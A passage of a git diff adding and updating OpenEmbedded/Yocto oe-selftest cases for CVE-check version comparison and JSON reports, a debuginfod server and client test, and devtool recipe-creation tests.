+ self.assertTrue( result ,msg="Failed to compare version '1.0p2' to '1.0p1'")
+ # ignore the "b" and "r"
+ result = Version("1.0b") == Version("1.0r")
+ self.assertTrue( result ,msg="Failed to compare version '1.0b' to '1.0r'")
+
+ # consider the trailing alphabet as patched level when comparing
+ result = Version("1.0b","alphabetical") < Version("1.0r","alphabetical")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0b' < '1.0r'")
+ result = Version("1.0b","alphabetical") > Version("1.0","alphabetical")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0b' > '1.0'")
+
+ # consider the trailing "p" and "patch" as patched released when comparing
+ result = Version("1.0","patch") < Version("1.0p1","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0' < '1.0p1'")
+ result = Version("1.0p2","patch") > Version("1.0p1","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0p2' > '1.0p1'")
+ result = Version("1.0_patch2","patch") < Version("1.0_patch3","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0_patch2' < '1.0_patch3'")
+
+
+ def test_convert_cve_version(self):
+ from oe.cve_check import convert_cve_version
+
+ # Default format
+ self.assertEqual(convert_cve_version("8.3"), "8.3")
+ self.assertEqual(convert_cve_version(""), "")
+
+ # OpenSSL format version
+ self.assertEqual(convert_cve_version("1.1.1t"), "1.1.1t")
+
+ # OpenSSH format
+ self.assertEqual(convert_cve_version("8.3_p1"), "8.3p1")
+ self.assertEqual(convert_cve_version("8.3_p22"), "8.3p22")
+
+ # Linux kernel format
+ self.assertEqual(convert_cve_version("6.2_rc8"), "6.2-rc8")
+ self.assertEqual(convert_cve_version("6.2_rc31"), "6.2-rc31")
+
+
+ def test_recipe_report_json(self):
+ config = """
+INHERIT += "cve-check"
+CVE_CHECK_FORMAT_JSON = "1"
+"""
+ self.write_config(config)
+
+ vars = get_bb_vars(["CVE_CHECK_SUMMARY_DIR", "CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ summary_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], vars["CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ recipe_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], "m4-native_cve.json")
+
+ try:
+ os.remove(summary_json)
+ os.remove(recipe_json)
+ except FileNotFoundError:
+ pass
+
+ bitbake("m4-native -c cve_check")
+
+ def check_m4_json(filename):
+ with open(filename) as f:
+ report = json.load(f)
+ self.assertEqual(report["version"], "1")
+ self.assertEqual(len(report["package"]), 1)
+ package = report["package"][0]
+ self.assertEqual(package["name"], "m4-native")
+ found_cves = { issue["id"]: issue["status"] for issue in package["issue"]}
+ self.assertIn("CVE-2008-1687", found_cves)
+ self.assertEqual(found_cves["CVE-2008-1687"], "Patched")
+
+ self.assertExists(summary_json)
+ check_m4_json(summary_json)
+ self.assertExists(recipe_json)
+ check_m4_json(recipe_json)
+
+
+ def test_image_json(self):
+ config = """
+INHERIT += "cve-check"
+CVE_CHECK_FORMAT_JSON = "1"
+"""
+ self.write_config(config)
+
+ vars = get_bb_vars(["CVE_CHECK_DIR", "CVE_CHECK_SUMMARY_DIR", "CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ report_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], vars["CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ print(report_json)
+ try:
+ os.remove(report_json)
+ except FileNotFoundError:
+ pass
+
+ bitbake("core-image-minimal-initramfs")
+ self.assertExists(report_json)
+
+ # Check that the summary report lists at least one package
+ with open(report_json) as f:
+ report = json.load(f)
+ self.assertEqual(report["version"], "1")
+ self.assertGreater(len(report["package"]), 1)
+
+ # Check that a random recipe wrote a recipe report to deploy/cve/
+ recipename = report["package"][0]["name"]
+ recipe_report = os.path.join(vars["CVE_CHECK_DIR"], recipename + "_cve.json")
+ self.assertExists(recipe_report)
+ with open(recipe_report) as f:
+ report = json.load(f)
+ self.assertEqual(report["version"], "1")
+ self.assertEqual(len(report["package"]), 1)
+ self.assertEqual(report["package"][0]["name"], recipename)
+
+
+ def test_recipe_report_json_unpatched(self):
+ config = """
+INHERIT += "cve-check"
+CVE_CHECK_FORMAT_JSON = "1"
+CVE_CHECK_REPORT_PATCHED = "0"
+"""
+ self.write_config(config)
+
+ vars = get_bb_vars(["CVE_CHECK_SUMMARY_DIR", "CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ summary_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], vars["CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ recipe_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], "m4-native_cve.json")
+
+ try:
+ os.remove(summary_json)
+ os.remove(recipe_json)
+ except FileNotFoundError:
+ pass
+
+ bitbake("m4-native -c cve_check")
+
+ def check_m4_json(filename):
+ with open(filename) as f:
+ report = json.load(f)
+ self.assertEqual(report["version"], "1")
+ self.assertEqual(len(report["package"]), 1)
+ package = report["package"][0]
+ self.assertEqual(package["name"], "m4-native")
+ #m4 had only Patched CVEs, so the issues array will be empty
+ self.assertEqual(package["issue"], [])
+
+ self.assertExists(summary_json)
+ check_m4_json(summary_json)
+ self.assertExists(recipe_json)
+ check_m4_json(recipe_json)
+
+
+ def test_recipe_report_json_ignored(self):
+ config = """
+INHERIT += "cve-check"
+CVE_CHECK_FORMAT_JSON = "1"
+CVE_CHECK_REPORT_PATCHED = "1"
+"""
+ self.write_config(config)
+
+ vars = get_bb_vars(["CVE_CHECK_SUMMARY_DIR", "CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ summary_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], vars["CVE_CHECK_SUMMARY_FILE_NAME_JSON"])
+ recipe_json = os.path.join(vars["CVE_CHECK_SUMMARY_DIR"], "logrotate_cve.json")
+
+ try:
+ os.remove(summary_json)
+ os.remove(recipe_json)
+ except FileNotFoundError:
+ pass
+
+ bitbake("logrotate -c cve_check")
+
+ def check_m4_json(filename):
+ with open(filename) as f:
+ report = json.load(f)
+ self.assertEqual(report["version"], "1")
+ self.assertEqual(len(report["package"]), 1)
+ package = report["package"][0]
+ self.assertEqual(package["name"], "logrotate")
+ found_cves = {}
+ for issue in package["issue"]:
+ found_cves[issue["id"]] = {
+ "status" : issue["status"],
+ "detail" : issue["detail"] if "detail" in issue else "",
+ "description" : issue["description"] if "description" in issue else ""
+ }
+ # m4 CVE should not be in logrotate
+ self.assertNotIn("CVE-2008-1687", found_cves)
+ # logrotate has both Patched and Ignored CVEs
+ self.assertIn("CVE-2011-1098", found_cves)
+ self.assertEqual(found_cves["CVE-2011-1098"]["status"], "Patched")
+ self.assertEqual(len(found_cves["CVE-2011-1098"]["detail"]), 0)
+ self.assertEqual(len(found_cves["CVE-2011-1098"]["description"]), 0)
+ detail = "not-applicable-platform"
+ description = "CVE is debian, gentoo or SUSE specific on the way logrotate was installed/used"
+ self.assertIn("CVE-2011-1548", found_cves)
+ self.assertEqual(found_cves["CVE-2011-1548"]["status"], "Ignored")
+ self.assertEqual(found_cves["CVE-2011-1548"]["detail"], detail)
+ self.assertEqual(found_cves["CVE-2011-1548"]["description"], description)
+ self.assertIn("CVE-2011-1549", found_cves)
+ self.assertEqual(found_cves["CVE-2011-1549"]["status"], "Ignored")
+ self.assertEqual(found_cves["CVE-2011-1549"]["detail"], detail)
+ self.assertEqual(found_cves["CVE-2011-1549"]["description"], description)
+ self.assertIn("CVE-2011-1550", found_cves)
+ self.assertEqual(found_cves["CVE-2011-1550"]["status"], "Ignored")
+ self.assertEqual(found_cves["CVE-2011-1550"]["detail"], detail)
+ self.assertEqual(found_cves["CVE-2011-1550"]["description"], description)
+
+ self.assertExists(summary_json)
+ check_m4_json(summary_json)
+ self.assertExists(recipe_json)
+ check_m4_json(recipe_json)
diff --git a/meta/lib/oeqa/selftest/cases/debuginfod.py b/meta/lib/oeqa/selftest/cases/debuginfod.py
new file mode 100644
index 0000000000..505b4be837
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/debuginfod.py
@@ -0,0 +1,158 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+import os
+import socketserver
+import subprocess
+import time
+import urllib
+import pathlib
+
+from oeqa.core.decorator import OETestTag
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, get_bb_var, runqemu
+
+
+class Debuginfod(OESelftestTestCase):
+
+ def wait_for_debuginfod(self, port):
+ """
+ debuginfod takes time to scan the packages and requesting too early may
+ result in a test failure if the right packages haven't been scanned yet.
+
+ Request the metrics endpoint periodically and wait for there to be no
+ busy scanning threads.
+
+ Returns if debuginfod is ready, raises an exception if not within the
+ timeout.
+ """
+
+ # Wait two minutes
+ countdown = 24
+ delay = 5
+ latest = None
+
+ while countdown:
+ self.logger.info("waiting...")
+ time.sleep(delay)
+
+ self.logger.info("polling server")
+ if self.debuginfod.poll():
+ self.logger.info("server dead")
+ self.debuginfod.communicate()
+ self.fail("debuginfod terminated unexpectedly")
+ self.logger.info("server alive")
+
+ try:
+ with urllib.request.urlopen("http://localhost:%d/metrics" % port, timeout=10) as f:
+ for line in f.read().decode("ascii").splitlines():
+ key, value = line.rsplit(" ", 1)
+ if key == "thread_busy{role=\"scan\"}":
+ latest = int(value)
+ self.logger.info("Waiting for %d scan jobs to finish" % latest)
+ if latest == 0:
+ return
+ except urllib.error.URLError as e:
+ # TODO: how to catch just timeouts?
+ self.logger.error(e)
+
+ countdown -= 1
+
+ raise TimeoutError("Cannot connect debuginfod, still %d scan jobs running" % latest)
+
+ def start_debuginfod(self):
+ # We assume that the caller has already bitbake'd elfutils-native:do_addto_recipe_sysroot
+
+ # Save some useful paths for later
+ native_sysroot = pathlib.Path(get_bb_var("RECIPE_SYSROOT_NATIVE", "elfutils-native"))
+ native_bindir = native_sysroot / "usr" / "bin"
+ self.debuginfod = native_bindir / "debuginfod"
+ self.debuginfod_find = native_bindir / "debuginfod-find"
+
+ cmd = [
+ self.debuginfod,
+ "--verbose",
+ # In-memory database, this is a one-shot test
+ "--database=:memory:",
+ # Don't use all the host cores
+ "--concurrency=8",
+ "--connection-pool=8",
+ # Disable rescanning, this is a one-shot test
+ "--rescan-time=0",
+ "--groom-time=0",
+ get_bb_var("DEPLOY_DIR"),
+ ]
+
+ format = get_bb_var("PACKAGE_CLASSES").split()[0]
+ if format == "package_deb":
+ cmd.append("--scan-deb-dir")
+ elif format == "package_ipk":
+ cmd.append("--scan-deb-dir")
+ elif format == "package_rpm":
+ cmd.append("--scan-rpm-dir")
+ else:
+ self.fail("Unknown package class %s" % format)
+
+ # Find a free port. Racey but the window is small.
+ with socketserver.TCPServer(("localhost", 0), None) as s:
+ self.port = s.server_address[1]
+ cmd.append("--port=%d" % self.port)
+
+ self.logger.info(f"Starting server {cmd}")
+ self.debuginfod = subprocess.Popen(cmd, env={})
+ self.wait_for_debuginfod(self.port)
+
+
+ def test_debuginfod_native(self):
+ """
+ Test debuginfod outside of qemu, by building a package and looking up a
+ binary's debuginfo using elfutils-native.
+ """
+
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-debuginfod"
+DISTRO_FEATURES:append = " debuginfod"
+""")
+ bitbake("elfutils-native:do_addto_recipe_sysroot xz xz:do_package")
+
+ try:
+ self.start_debuginfod()
+
+ env = os.environ.copy()
+ env["DEBUGINFOD_URLS"] = "http://localhost:%d/" % self.port
+
+ pkgs = pathlib.Path(get_bb_var("PKGDEST", "xz"))
+ cmd = (self.debuginfod_find, "debuginfo", pkgs / "xz" / "usr" / "bin" / "xz.xz")
+ self.logger.info(f"Starting client {cmd}")
+ output = subprocess.check_output(cmd, env=env, text=True)
+ # This should be more comprehensive
+ self.assertIn("/.cache/debuginfod_client/", output)
+ finally:
+ self.debuginfod.kill()
+
+ @OETestTag("runqemu")
+ def test_debuginfod_qemu(self):
+ """
+ Test debuginfod-find inside a qemu, talking to a debuginfod on the host.
+ """
+
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-debuginfod"
+DISTRO_FEATURES:append = " debuginfod"
+CORE_IMAGE_EXTRA_INSTALL += "elfutils xz"
+ """)
+ bitbake("core-image-minimal elfutils-native:do_addto_recipe_sysroot")
+
+ try:
+ self.start_debuginfod()
+
+ with runqemu("core-image-minimal", runqemuparams="nographic") as qemu:
+ cmd = "DEBUGINFOD_URLS=http://%s:%d/ debuginfod-find debuginfo /usr/bin/xz" % (qemu.server_ip, self.port)
+ self.logger.info(f"Starting client {cmd}")
+ status, output = qemu.run_serial(cmd)
+ # This should be more comprehensive
+ self.assertIn("/.cache/debuginfod_client/", output)
+ finally:
+ self.debuginfod.kill()
diff --git a/meta/lib/oeqa/selftest/cases/devtool.py b/meta/lib/oeqa/selftest/cases/devtool.py
index b383ed9c50..bc1e40ef83 100644
--- a/meta/lib/oeqa/selftest/cases/devtool.py
+++ b/meta/lib/oeqa/selftest/cases/devtool.py
@@ -1,18 +1,23 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
+import errno
import os
import re
import shutil
import tempfile
import glob
import fnmatch
+import unittest
+import json
-import oeqa.utils.ftools as ftools
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, create_temp_layer
from oeqa.utils.commands import get_bb_vars, runqemu, get_test_layer
+from oeqa.core.decorator import OETestTag
oldmetapath = None
@@ -24,6 +29,9 @@ def setUpModule():
corecopydir = os.path.join(templayerdir, 'core-copy')
bblayers_conf = os.path.join(os.environ['BUILDDIR'], 'conf', 'bblayers.conf')
edited_layers = []
+ # make sure user doesn't have a local workspace
+ result = runCmd('bitbake-layers show-layers')
+ assert "workspacelayer" not in result.output, "Devtool test suite cannot be run with a local workspace directory"
# We need to take a copy of the meta layer so we can modify it and not
# have any races against other tests that might be running in parallel
@@ -38,10 +46,17 @@ def setUpModule():
canonical_layerpath = os.path.realpath(canonical_layerpath) + '/'
edited_layers.append(layerpath)
oldmetapath = os.path.realpath(layerpath)
+
+ # when downloading poky from tar.gz some tests will be skipped (BUG 12389)
+ try:
+ runCmd('git rev-parse --is-inside-work-tree', cwd=canonical_layerpath)
+ except:
+ raise unittest.SkipTest("devtool tests require folder to be a git repo")
+
result = runCmd('git rev-parse --show-toplevel', cwd=canonical_layerpath)
oldreporoot = result.output.rstrip()
newmetapath = os.path.join(corecopydir, os.path.relpath(oldmetapath, oldreporoot))
- runCmd('git clone %s %s' % (oldreporoot, corecopydir), cwd=templayerdir)
+ runCmd('git clone file://%s %s' % (oldreporoot, corecopydir), cwd=templayerdir)
# Now we need to copy any modified files
# You might ask "why not just copy the entire tree instead of
# cloning and doing this?" - well, the problem with that is
@@ -56,7 +71,8 @@ def setUpModule():
if pth.startswith(canonical_layerpath):
if relpth.endswith('/'):
destdir = os.path.join(corecopydir, relpth)
- shutil.copytree(pth, destdir)
+ # avoid race condition by not copying .pyc files YPBZ#13421,13803
+ shutil.copytree(pth, destdir, ignore=shutil.ignore_patterns('*.pyc', '__pycache__'))
else:
destdir = os.path.join(corecopydir, os.path.dirname(relpth))
bb.utils.mkdirhier(destdir)
@@ -79,32 +95,15 @@ def tearDownModule():
bb.utils.edit_bblayers_conf(bblayers_conf, None, None, bblayers_edit_cb)
shutil.rmtree(templayerdir)
-class DevtoolBase(OESelftestTestCase):
-
- @classmethod
- def setUpClass(cls):
- super(DevtoolBase, cls).setUpClass()
- bb_vars = get_bb_vars(['TOPDIR', 'SSTATE_DIR'])
- cls.original_sstate = bb_vars['SSTATE_DIR']
- cls.devtool_sstate = os.path.join(bb_vars['TOPDIR'], 'sstate_devtool')
- cls.sstate_conf = 'SSTATE_DIR = "%s"\n' % cls.devtool_sstate
- cls.sstate_conf += ('SSTATE_MIRRORS += "file://.* file:///%s/PATH"\n'
- % cls.original_sstate)
-
- @classmethod
- def tearDownClass(cls):
- cls.logger.debug('Deleting devtool sstate cache on %s' % cls.devtool_sstate)
- runCmd('rm -rf %s' % cls.devtool_sstate)
- super(DevtoolBase, cls).tearDownClass()
+class DevtoolTestCase(OESelftestTestCase):
def setUp(self):
"""Test case setup function"""
- super(DevtoolBase, self).setUp()
+ super(DevtoolTestCase, self).setUp()
self.workspacedir = os.path.join(self.builddir, 'workspace')
self.assertTrue(not os.path.exists(self.workspacedir),
'This test cannot be run with a workspace directory '
'under the build directory')
- self.append_config(self.sstate_conf)
def _check_src_repo(self, repo_dir):
"""Check srctree git repository"""
@@ -234,6 +233,100 @@ class DevtoolBase(OESelftestTestCase):
filelist.append(' '.join(splitline))
return filelist
+ def _check_diff(self, diffoutput, addlines, removelines):
+ """Check output from 'git diff' matches expectation"""
+ remaining_addlines = addlines[:]
+ remaining_removelines = removelines[:]
+ for line in diffoutput.splitlines():
+ if line.startswith('+++') or line.startswith('---'):
+ continue
+ elif line.startswith('+'):
+ matched = False
+ for item in addlines:
+ if re.match(item, line[1:].strip()):
+ matched = True
+ remaining_addlines.remove(item)
+ break
+ self.assertTrue(matched, 'Unexpected diff add line: %s' % line)
+ elif line.startswith('-'):
+ matched = False
+ for item in removelines:
+ if re.match(item, line[1:].strip()):
+ matched = True
+ remaining_removelines.remove(item)
+ break
+ self.assertTrue(matched, 'Unexpected diff remove line: %s' % line)
+ if remaining_addlines:
+ self.fail('Expected added lines not found: %s' % remaining_addlines)
+ if remaining_removelines:
+ self.fail('Expected removed lines not found: %s' % remaining_removelines)
+
+ def _check_runqemu_prerequisites(self):
+ """Check runqemu is available
+
+ Whilst some tests would seemingly be better placed as a runtime test,
+ unfortunately the runtime tests run under bitbake and you can't run
+ devtool within bitbake (since devtool needs to run bitbake itself).
+ Additionally we are testing build-time functionality as well, so
+ really this has to be done as an oe-selftest test.
+ """
+ machine = get_bb_var('MACHINE')
+ if not machine.startswith('qemu'):
+ self.skipTest('This test only works with qemu machines')
+ if not os.path.exists('/etc/runqemu-nosudo'):
+ self.skipTest('You must set up tap devices with scripts/runqemu-gen-tapdevs before running this test')
+ result = runCmd('PATH="$PATH:/sbin:/usr/sbin" ip tuntap show', ignore_status=True)
+ if result.status != 0:
+ result = runCmd('PATH="$PATH:/sbin:/usr/sbin" ifconfig -a', ignore_status=True)
+ if result.status != 0:
+ self.skipTest('Failed to determine if tap devices exist with ifconfig or ip: %s' % result.output)
+ for line in result.output.splitlines():
+ if line.startswith('tap'):
+ break
+ else:
+ self.skipTest('No tap devices found - you must set up tap devices with scripts/runqemu-gen-tapdevs before running this test')
+
+ def _test_devtool_add_git_url(self, git_url, version, pn, resulting_src_uri):
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool add --version %s %s %s' % (version, pn, git_url))
+ self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created')
+ # Check the recipe name is correct
+ recipefile = get_bb_var('FILE', pn)
+ self.assertIn('%s_git.bb' % pn, recipefile, 'Recipe file incorrectly named')
+ self.assertIn(recipefile, result.output)
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(pn, result.output)
+ self.assertIn(recipefile, result.output)
+ checkvars = {}
+ checkvars['SRC_URI'] = resulting_src_uri
+ self._test_recipe_contents(recipefile, checkvars, [])
+
+class DevtoolBase(DevtoolTestCase):
+
+ @classmethod
+ def setUpClass(cls):
+ super(DevtoolBase, cls).setUpClass()
+ bb_vars = get_bb_vars(['TOPDIR', 'SSTATE_DIR'])
+ cls.original_sstate = bb_vars['SSTATE_DIR']
+ cls.devtool_sstate = os.path.join(bb_vars['TOPDIR'], 'sstate_devtool')
+ cls.sstate_conf = 'SSTATE_DIR = "%s"\n' % cls.devtool_sstate
+ cls.sstate_conf += ('SSTATE_MIRRORS += "file://.* file:///%s/PATH"\n'
+ % cls.original_sstate)
+ cls.sstate_conf += ('BB_HASHSERVE_UPSTREAM = "hashserv.yocto.io:8687"\n')
+
+ @classmethod
+ def tearDownClass(cls):
+ cls.logger.debug('Deleting devtool sstate cache on %s' % cls.devtool_sstate)
+ runCmd('rm -rf %s' % cls.devtool_sstate)
+ super(DevtoolBase, cls).tearDownClass()
+
+ def setUp(self):
+ """Test case setup function"""
+ super(DevtoolBase, self).setUp()
+ self.append_config(self.sstate_conf)
+
class DevtoolTests(DevtoolBase):
@@ -268,7 +361,7 @@ class DevtoolAddTests(DevtoolBase):
self.track_for_cleanup(tempdir)
pn = 'pv'
pv = '1.5.3'
- url = 'http://www.ivarch.com/programs/sources/pv-1.5.3.tar.bz2'
+ url = 'http://downloads.yoctoproject.org/mirror/sources/pv-1.5.3.tar.bz2'
result = runCmd('wget %s' % url, cwd=tempdir)
result = runCmd('tar xfv %s' % os.path.basename(url), cwd=tempdir)
srcdir = os.path.join(tempdir, '%s-%s' % (pn, pv))
@@ -303,6 +396,38 @@ class DevtoolAddTests(DevtoolBase):
bindir = bindir[1:]
self.assertTrue(os.path.isfile(os.path.join(installdir, bindir, 'pv')), 'pv binary not found in D')
+ def test_devtool_add_binary(self):
+ # Create a binary package containing a known test file
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ pn = 'tst-bin'
+ pv = '1.0'
+ test_file_dir = "var/lib/%s/" % pn
+ test_file_name = "test_file"
+ test_file_content = "TEST CONTENT"
+ test_file_package_root = os.path.join(tempdir, pn)
+ test_file_dir_full = os.path.join(test_file_package_root, test_file_dir)
+ bb.utils.mkdirhier(test_file_dir_full)
+ with open(os.path.join(test_file_dir_full, test_file_name), "w") as f:
+ f.write(test_file_content)
+ bin_package_path = os.path.join(tempdir, "%s.tar.gz" % pn)
+ runCmd("tar czf %s -C %s ." % (bin_package_path, test_file_package_root))
+
+ # Test devtool add -b on the binary package
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c cleansstate %s' % pn)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool add -b %s %s' % (pn, bin_package_path))
+ self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created')
+
+ # Build the resulting recipe
+ result = runCmd('devtool build %s' % pn)
+ installdir = get_bb_var('D', pn)
+ self.assertTrue(installdir, 'Could not query installdir variable')
+
+ # Check that a known file from the binary package has indeed been installed
+ self.assertTrue(os.path.isfile(os.path.join(installdir, test_file_dir, test_file_name)), '%s not found in D' % test_file_name)
+
def test_devtool_add_git_local(self):
# We need dbus built so that DEPENDS recognition works
bitbake('dbus')
@@ -335,15 +460,31 @@ class DevtoolAddTests(DevtoolBase):
self.assertIn(srcdir, result.output)
self.assertIn(recipefile, result.output)
checkvars = {}
- checkvars['LICENSE'] = 'GPLv2'
+ checkvars['LICENSE'] = 'GPL-2.0-only'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'
checkvars['S'] = '${WORKDIR}/git'
- checkvars['PV'] = '0.1+git${SRCPV}'
- checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/dbus-wait;protocol=https'
+ checkvars['PV'] = '0.1+git'
+ checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/dbus-wait;protocol=https;branch=master'
checkvars['SRCREV'] = srcrev
checkvars['DEPENDS'] = set(['dbus'])
self._test_recipe_contents(recipefile, checkvars, [])
+ def test_devtool_add_git_style1(self):
+ version = 'v3.1.0'
+ pn = 'mbedtls'
+ # this will trigger reformat_git_uri with branch parameter in url
+ git_url = "'git://git@github.com/ARMmbed/mbedtls.git;branch=mbedtls-2.28;protocol=https'"
+ resulting_src_uri = "git://git@github.com/ARMmbed/mbedtls.git;branch=mbedtls-2.28;protocol=https"
+ self._test_devtool_add_git_url(git_url, version, pn, resulting_src_uri)
+
+ def test_devtool_add_git_style2(self):
+ version = 'v3.1.0'
+ pn = 'mbedtls'
+ # this will trigger reformat_git_uri with branch parameter in url
+ git_url = "'git://git@github.com/ARMmbed/mbedtls.git;protocol=https'"
+ resulting_src_uri = "gitsm://git@github.com/ARMmbed/mbedtls.git;protocol=https;branch=master"
+ self._test_devtool_add_git_url(git_url, version, pn, resulting_src_uri)
+
def test_devtool_add_library(self):
# Fetch source
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
@@ -372,7 +513,7 @@ class DevtoolAddTests(DevtoolBase):
recipefile = '%s/recipes/libftdi/libftdi_%s.bb' % (self.workspacedir, version)
result = runCmd('recipetool setvar %s EXTRA_OECMAKE -- \'-DPYTHON_BINDINGS=OFF -DLIBFTDI_CMAKE_CONFIG_DIR=${datadir}/cmake/Modules\'' % recipefile)
with open(recipefile, 'a') as f:
- f.write('\nFILES_${PN}-dev += "${datadir}/cmake/Modules"\n')
+ f.write('\nFILES:${PN}-dev += "${datadir}/cmake/Modules"\n')
# We don't have the ability to pick up this dependency automatically yet...
f.write('\nDEPENDS += "libusb1"\n')
f.write('\nTESTLIBOUTPUT = "${COMPONENTS_DIR}/${TUNE_PKGARCH}/${PN}/${libdir}"\n')
@@ -404,7 +545,7 @@ class DevtoolAddTests(DevtoolBase):
self.track_for_cleanup(self.workspacedir)
self.add_command_to_tearDown('bitbake -c cleansstate %s' % testrecipe)
self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
- result = runCmd('devtool add %s %s -f %s' % (testrecipe, srcdir, url))
+ result = runCmd('devtool add --no-pypi %s %s -f %s' % (testrecipe, srcdir, url))
self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created. %s' % result.output)
self.assertTrue(os.path.isfile(os.path.join(srcdir, 'setup.py')), 'Unable to find setup.py in source directory')
self.assertTrue(os.path.isdir(os.path.join(srcdir, '.git')), 'git repository for external source tree was not created')
@@ -423,7 +564,7 @@ class DevtoolAddTests(DevtoolBase):
result = runCmd('devtool reset -n %s' % testrecipe)
shutil.rmtree(srcdir)
fakever = '1.9'
- result = runCmd('devtool add %s %s -f %s -V %s' % (testrecipe, srcdir, url, fakever))
+ result = runCmd('devtool add --no-pypi %s %s -f %s -V %s' % (testrecipe, srcdir, url, fakever))
self.assertTrue(os.path.isfile(os.path.join(srcdir, 'setup.py')), 'Unable to find setup.py in source directory')
# Test devtool status
result = runCmd('devtool status')
@@ -441,6 +582,7 @@ class DevtoolAddTests(DevtoolBase):
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
self.track_for_cleanup(tempdir)
url = 'gitsm://git.yoctoproject.org/mraa'
+ url_branch = '%s;branch=master' % url
checkrev = 'ae127b19a50aa54255e4330ccfdd9a5d058e581d'
testrecipe = 'mraa'
srcdir = os.path.join(tempdir, testrecipe)
@@ -460,8 +602,8 @@ class DevtoolAddTests(DevtoolBase):
self.assertIn('_git.bb', recipefile, 'Recipe file incorrectly named')
checkvars = {}
checkvars['S'] = '${WORKDIR}/git'
- checkvars['PV'] = '1.0+git${SRCPV}'
- checkvars['SRC_URI'] = url
+ checkvars['PV'] = '1.0+git'
+ checkvars['SRC_URI'] = url_branch
checkvars['SRCREV'] = '${AUTOREV}'
self._test_recipe_contents(recipefile, checkvars, [])
# Try with revision and version specified
@@ -479,8 +621,8 @@ class DevtoolAddTests(DevtoolBase):
self.assertIn('_git.bb', recipefile, 'Recipe file incorrectly named')
checkvars = {}
checkvars['S'] = '${WORKDIR}/git'
- checkvars['PV'] = '1.5+git${SRCPV}'
- checkvars['SRC_URI'] = url
+ checkvars['PV'] = '1.5+git'
+ checkvars['SRC_URI'] = url_branch
checkvars['SRCREV'] = checkrev
self._test_recipe_contents(recipefile, checkvars, [])
@@ -503,7 +645,7 @@ class DevtoolAddTests(DevtoolBase):
result = runCmd('devtool status')
self.assertIn(testrecipe, result.output)
self.assertIn(srcdir, result.output)
- # Check recipe
+ # Check recipedevtool add
recipefile = get_bb_var('FILE', testrecipe)
self.assertIn('%s_%s.bb' % (testrecipe, testver), recipefile, 'Recipe file incorrectly named')
checkvars = {}
@@ -512,6 +654,10 @@ class DevtoolAddTests(DevtoolBase):
self._test_recipe_contents(recipefile, checkvars, [])
def test_devtool_add_npm(self):
+ collections = get_bb_var('BBFILE_COLLECTIONS').split()
+ if "openembedded-layer" not in collections:
+ self.skipTest("Test needs meta-oe for nodejs")
+
pn = 'savoirfairelinux-node-server-example'
pv = '1.0.0'
url = 'npm://registry.npmjs.org;package=@savoirfairelinux/node-server-example;version=' + pv
@@ -531,6 +677,19 @@ class DevtoolAddTests(DevtoolBase):
# Test devtool build
result = runCmd('devtool build %s' % pn)
+ def test_devtool_add_python_egg_requires(self):
+ # Fetch source
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ testver = '0.14.0'
+ url = 'https://files.pythonhosted.org/packages/e9/9e/25d59f5043cf763833b2581c8027fa92342c4cf8ee523b498ecdf460c16d/uvicorn-%s.tar.gz' % testver
+ testrecipe = 'python3-uvicorn'
+ srcdir = os.path.join(tempdir, testrecipe)
+ # Test devtool add
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool add %s %s -f %s' % (testrecipe, srcdir, url))
+
class DevtoolModifyTests(DevtoolBase):
def test_devtool_modify(self):
@@ -644,7 +803,7 @@ class DevtoolModifyTests(DevtoolBase):
self.track_for_cleanup(self.workspacedir)
self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
- testrecipes = 'perf kernel-devsrc package-index core-image-minimal meta-toolchain packagegroup-core-sdk meta-ide-support'.split()
+ testrecipes = 'perf kernel-devsrc package-index core-image-minimal meta-toolchain packagegroup-core-sdk'.split()
# Find actual name of gcc-source since it now includes the version - crude, but good enough for this purpose
